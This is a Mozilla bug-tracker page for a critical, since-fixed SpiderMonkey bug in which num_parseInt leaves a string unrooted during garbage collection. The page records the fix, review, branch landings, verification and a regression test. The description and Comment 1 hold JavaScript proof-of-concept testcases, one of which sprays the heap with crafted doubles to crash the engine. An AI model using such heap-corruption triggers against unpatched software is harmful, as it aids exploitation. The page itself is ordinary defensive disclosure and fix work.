Last Comment Bug 313479 - Unrooted access in jsnum.c
: Unrooted access in jsnum.c
Status: VERIFIED FIXED
[sg:critical?]
: js1.6, verified1.7.13, verified1.8
Product: Core
Classification: Components
Component: JavaScript Engine (show other bugs)
: Trunk
: All All
: P1 critical (vote)
: mozilla1.8rc1
Assigned To: Brendan Eich [:brendan]
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2005-10-23 06:17 PDT by Igor Bukanov
Modified: 2011-08-05 21:29 PDT (History)
3 users (show)
brendan: blocking1.7.13+
brendan: blocking‑aviary1.0.8+
brendan: blocking1.8rc1+
bob: in‑testsuite+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
fix (1.35 KB, patch)
2005-10-23 11:14 PDT, Brendan Eich [:brendan]
igor: review+
shaver: superreview+
mtschrep: approval1.8rc1+
Details | Diff | Splinter Review
js1_5/Regress/regress-313479.js (2.48 KB, text/plain)
2005-10-23 21:52 PDT, Bob Clary [:bc:]
no flags Details

Description Igor Bukanov 2005-10-23 06:17:09 PDT
num_parseInt from jsnum.c does not root "str", the result of js_ValueToString applied to the first argument before calling js_ValueToECMAInt32 on the second argument and using "str" later.

The following example exposes the bug:

var prepared_string = String(1);
String(2); // To remove prepared_string from newborn

var likeString = {
	toString: function() {
		var tmp = prepared_string;
		prepared_string = null;
		return tmp;
	}
};

var likeNumber = {
	valueOf: function() {
		gc();
		return 10;
	}
}

var expected = 1;
var actual = parseInt(likeString, likeNumber);
print("expected="+expected+" actual="+actual);
Comment 1 Igor Bukanov 2005-10-23 06:36:42 PDT
Here is a version of the above testcase that crashes shell/browser through subversion double->JSDependantString subversion:

var prepared_string = String(1);
String(2); // To remove prepared_string from newborn

var likeString = {
	toString: function() {
		var tmp = prepared_string;
		prepared_string = null;
		return tmp;
	}
};

ONE = 1.0;

var likeNumber = {
	valueOf: function() {
		if (typeof gc == "function") gc();
		for (var i = 0; i != 40000; ++i) {
			// Populate heap with double value that when 
			// interpreted as JSString would produce a dependant
			// string.
			var tmp = 8.3079035298075175e-263 * ONE;
			tmp = null;
		}
		return 10;
	}
}

var expected = 1;
var actual = parseInt(likeString, likeNumber);
print("expected="+expected+" actual="+actual);
Comment 2 Brendan Eich [:brendan] 2005-10-23 11:14:08 PDT
Created attachment 200528 [details] [diff] [review]
fix

Reorder to get radix (non-GC'ed primitive type) before computing str.

/be
Comment 3 Brendan Eich [:brendan] 2005-10-23 14:23:27 PDT
Comment on attachment 200528 [details] [diff] [review]
fix

Checked in on the trunk, nominating patch for branch approval tomorrow.

/be
Comment 4 Brendan Eich [:brendan] 2005-10-23 14:23:54 PDT
Fixed on the trunk.

/be
Comment 5 Asa Dotzler [:asa] 2005-10-23 14:26:20 PDT
Code freeze for 1.5 RC1 is tonight at midnight. 
Comment 6 Brendan Eich [:brendan] 2005-10-23 14:39:13 PDT
Asa: you'll have to approve this by then, and someone will have to check it in.  I'm not free much today, and shaver hasn't "sr'd" (JS doesn't have super-review, but we're trying to be careful).  Your call.

/be
Comment 7 Igor Bukanov 2005-10-23 15:03:33 PDT
(In reply to comment #5)
> Code freeze for 1.5 RC1 is tonight at midnight. 
> 

BTW, would these bugs be visible in RC1 change logs? I would prefer NOBODY gets even slightest hint about their existence until 1.0.8 or even later since they may get hints how to look for exploits. They were quite dormant for long time and it would be better to open the box at least in an apparently sealed bunker ;).
Comment 8 Mike Shaver (:shaver -- probably not reading bugmail closely) 2005-10-23 15:29:44 PDT
Comment on attachment 200528 [details] [diff] [review]
fix

sr=shaver
Comment 9 Mike Schroepfer 2005-10-23 16:45:09 PDT
Comment on attachment 200528 [details] [diff] [review]
fix

Approving since it is r and sr'd and already discussed at triage meeting today.

Shaver or Igor any way you can land if Brendan can't?
Comment 10 Scott MacGregor 2005-10-23 19:00:23 PDT
I landed this on the branch. It's already in the trunk so I'm going to resolve this as fixed.
Comment 11 Bob Clary [:bc:] 2005-10-23 21:52:47 PDT
Created attachment 200580 [details]
js1_5/Regress/regress-313479.js
Comment 12 Daniel Veditz [:dveditz] 2005-10-24 10:41:21 PDT
(In reply to comment #7)
> BTW, would these bugs be visible in RC1 change logs? I would prefer NOBODY gets
> even slightest hint about their existence until 1.0.8 or even later since they
> may get hints how to look for exploits.

Unfortunately they are, but hopefully cryptic enough (weekend changes):
http://bonsai.mozilla.org/cvsquery.cgi?treeid=default&module=all&branch=MOZILLA_1_8_BRANCH&branchtype=match&dir=mozilla%2Fjs&file=&filetype=match&who=&whotype=match&sortby=Date&hours=2&date=explicit&mindate=2005-10-22&maxdate=2005-10-24&cvsroot=%2Fcvsroot

If you're not specifically looking for js changes (or watching brendan) you'd have to find them in this (same time range):
http://bonsai.mozilla.org/cvsquery.cgi?treeid=default&module=all&branch=MOZILLA_1_8_BRANCH&branchtype=match&dir=&file=&filetype=match&who=&whotype=match&sortby=Date&hours=2&date=explicit&mindate=2005-10-22&maxdate=2005-10-24&cvsroot=%2Fcvsroot

but the buglinks will go to inaccessible bugs, so it wouldn't be rocket science if someone's actively probing for unpatched (in 1.0) security holes. Things are worse when we do prepare a 1.0.8 (soon): that branch is all security fixes so these will be easier to notice, and many non-browser projects rely on the spidermonkey engine and won't be able to upgrade immediately. Worse, we don't necessarily know who they all are to give them a warning this is coming.
Comment 13 Bob Clary [:bc:] 2005-10-25 00:26:36 PDT
on winxp,

1.8b5_2005102412: pass

1.9a1_2005102413: fail

STATUS: Root access in jsnum.c
STATUS: expect=1 actual=NaN
Failure messages were:
FAILED!: Root access in jsnum.c
FAILED!: Expected value '1', Actual value 'NaN' 
Comment 14 Bob Clary [:bc:] 2005-10-25 01:13:43 PDT
(In reply to comment #13)
ignore this. I can't reproduce with fresh builds.
Comment 15 Bob Clary [:bc:] 2005-11-07 22:32:32 PST
verified firefox 1.5 rc2 linux/win32 2005-11-07
Comment 16 Bob Clary [:bc:] 2005-12-27 10:34:37 PST
testcase+ to get this off my radar. when this is made public, i will check in the test.
Comment 17 Blake Kaplan (:mrbkap) 2006-02-13 18:21:56 PST
Fix checked into the 1.7 branches.
Comment 18 Bob Clary [:bc:] 2006-02-17 03:56:28 PST
verified firefox/1.7.13,1.8.0.1,1.8,1.9a1 win/linux/mac
Comment 19 Bob Clary [:bc:] 2006-02-22 02:55:52 PST
v ff on 1.7.13, 1.8.0.1, 1.8, 1.9a1 windows/linux/mac 20060221 builds, moz on 1.7.13 windows 20060221 build.
Comment 20 Bob Clary [:bc:] 2006-06-14 17:00:39 PDT
RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-313479.js,v
done
Checking in regress-313479.js;
/cvsroot/mozilla/js/tests/js1_5/GC/regress-313479.js,v  <--  regress-313479.js
initial revision: 1.1
done

Note You need to log in before you can comment on or make changes to this bug.